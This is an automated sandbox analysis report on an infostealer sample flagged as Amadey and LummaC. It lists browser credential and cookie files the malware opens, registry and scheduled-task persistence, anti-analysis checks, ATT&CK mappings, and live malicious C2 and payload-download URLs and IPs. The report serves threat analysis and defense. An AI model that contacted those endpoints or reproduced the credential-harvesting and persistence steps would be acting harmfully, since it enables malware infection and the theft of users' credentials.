Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005ECBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_005ECBEA

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.skotes.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.5d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2161576983.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2456370411.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2229367534.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2227080376.0000000005350000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2271894290.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.6:49849 -> 194.87.47.113:80

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Scheduled Task/Job	112 Process Injection	4 Obfuscated Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	881 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	251 Virtualization/Sandbox Evasion	Cached Domain Credentials	251 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	112 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	60%	Virustotal		Browse
file.exe	53%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1017424001\5504bf3a7b.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label	Link
http://31.41.244.11/files/geopoxid/random.exe	100%	Avira URL Cloud	phishing
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=Z2JZx72g38Fbx0A81734592167	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
services.addons.mozilla.org	151.101.129.91	true	false	high
cheapptaxysu.click	172.67.177.88	true	true	unknown
home.fivetk5vt.top	176.53.146.212	true	false	high
fivetk5vt.top	176.53.146.212	true	false	high
www.google.com	142.250.181.132	true	false	high
home.twentytk20pn.top	194.87.47.113	true	false	high
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	high
twentytk20pn.top	194.87.47.113	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
httpbin.org	98.85.100.80	true	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
pancakedipyps.click	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322?argument=Z2JZx72g38Fbx0A81734592167	true	Avira URL Cloud: malware	unknown
necklacebudi.lat	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnYN1734366322	false		high
aspecteirs.lat	false		high
energyaffai.lat	false		high
https://httpbin.org/ip	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
http://twentytk20pn.top/v1/upload.php	false		high
crosshuaht.lat	false		high
rapeflowwj.lat	false		high
grannyejh.lat	false		high
discokeyus.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://html4/loose.dtd	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
http://ocsp.sectigo.com0	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
https://curl.se/docs/http-cookies.html	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
https://curl.se/docs/alt-svc.html	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
http://.css	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
https://httpbin.org/ipbefore	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000008.00000003.6194045858.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high
http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
http://.jpg	5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
194.87.47.113	home.twentytk20pn.top	Russian Federation	49392	ASBAXETNRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578048
Start date and time:	2024-12-19 08:07:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@16028/18@36/6
EGA Information:	Successful, ratio: 80%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 64.233.162.84, 172.217.21.35, 172.217.17.78, 40.126.53.6, 40.126.53.16, 40.126.53.15, 40.126.53.12, 20.190.181.4, 20.190.181.6, 40.126.53.21, 20.190.181.1, 104.208.16.94, 142.250.181.142, 88.221.134.155, 88.221.134.209, 142.250.181.138, 52.168.117.174, 172.217.19.206, 172.217.17.46, 20.190.177.85, 20.223.35.26, 13.107.246.63, 52.149.20.212, 2.16.158.26, 150.171.28.10, 23.218.208.109, 2.16.158.74
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, spocs.getpocket.com, tse1.mm.bing.net, clientservices.googleapis.com, g.bing.com, aus5.mozilla.org, a19.dscg10.akamai.net, clients2.google.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, ocsp.digicert.com, ipv4only.arpa, login.live.com, firefox.settings.services.mozilla.com, prod.ads.prod.webservices.mozgcp.net, www.youtube.com, onedsblobprdcus16.centralus.cloudapp.azure.com, www.bing.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, treehoneyi.click, fs.microsoft.com, shavar.prod.mozaws.net, www.tm.v4.a.prd.aadg.akadns.net, sweepyribs.lat, detectportal.firefox.com, dyna.wikimedia.org, youtube-ui.l.google.com, reddit.map.fastly.net, blobcollector.events.data.trafficmanager.net, shavar.services.mozilla.com, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, www.tm.lg.prod.aadmsa.trafficmanager.net, example.org, prod.detectportal.prod.cloudops.mozgcp.net, www.reddit.com, cis
Execution Graph export aborted for target bb3768c743.exe, PID 1088 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:09:01	API Interceptor	5769143x Sleep call for process: skotes.exe modified
02:09:48	API Interceptor	595965x Sleep call for process: 5d7a2e45de.exe modified
08:08:21	Task Scheduler	Run new task: {EEC74080-2696-4F8B-937C-6F7DD180D7F9} path: .
08:08:37	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:09:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 43ac536e27.exe C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe
08:09:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b6e002a8f0.exe C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe
08:10:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 25e92e47ca.exe C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe
08:10:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e82adb1900.exe C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe
08:10:29	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 43ac536e27.exe C:\Users\user\AppData\Local\Temp\1017425001\43ac536e27.exe
08:10:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b6e002a8f0.exe C:\Users\user\AppData\Local\Temp\1017426001\b6e002a8f0.exe
08:10:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 25e92e47ca.exe C:\Users\user\AppData\Local\Temp\1017427001\25e92e47ca.exe
08:10:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e82adb1900.exe C:\Users\user\AppData\Local\Temp\1017428001\e82adb1900.exe
08:11:36	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
98.85.100.80	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	f1842FwKth.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	aweqG2ssAY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	vH7JfdNi3c.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	U6mwWZlkzH.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	KzLv0EXDs1.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	0254xoMBbu.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fivetk5vt.top	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	138.124.49.236
services.addons.mozilla.org	do.ps1	Get hash	malicious	Unknown	Browse	151.101.1.91
	https://walli.shanga.co/image/view/?id=1375	Get hash	malicious	Unknown	Browse	151.101.65.91
	tightvnc-2.8.59-gpl-setup-64bit.msi	Get hash	malicious	Unknown	Browse	151.101.193.91
	kjDPynh9vQ.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	kjDPynh9vQ.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	151.101.65.91
	fNlxQP0jBz.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	LbgqLv7gT7.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	fNlxQP0jBz.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	LbgqLv7gT7.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
www.google.com	pM3fQBuTLy.exe	Get hash	malicious	Vidar	Browse	172.217.19.228
	NWKk493xTy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	142.250.181.132
	88S3zQTYpl.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	142.250.181.132
	NVkyG9HAeY.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	142.250.181.132
	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	142.250.181.132
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.228
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	142.250.181.132
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse	142.250.181.132
	https://pdf.ac/4lLzbt	Get hash	malicious	Unknown	Browse	172.217.19.228
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	142.250.181.132
cheapptaxysu.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
cheapptaxysu.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
home.fivetk5vt.top	W6seF0MjGW.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	176.53.146.212
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	176.53.146.212
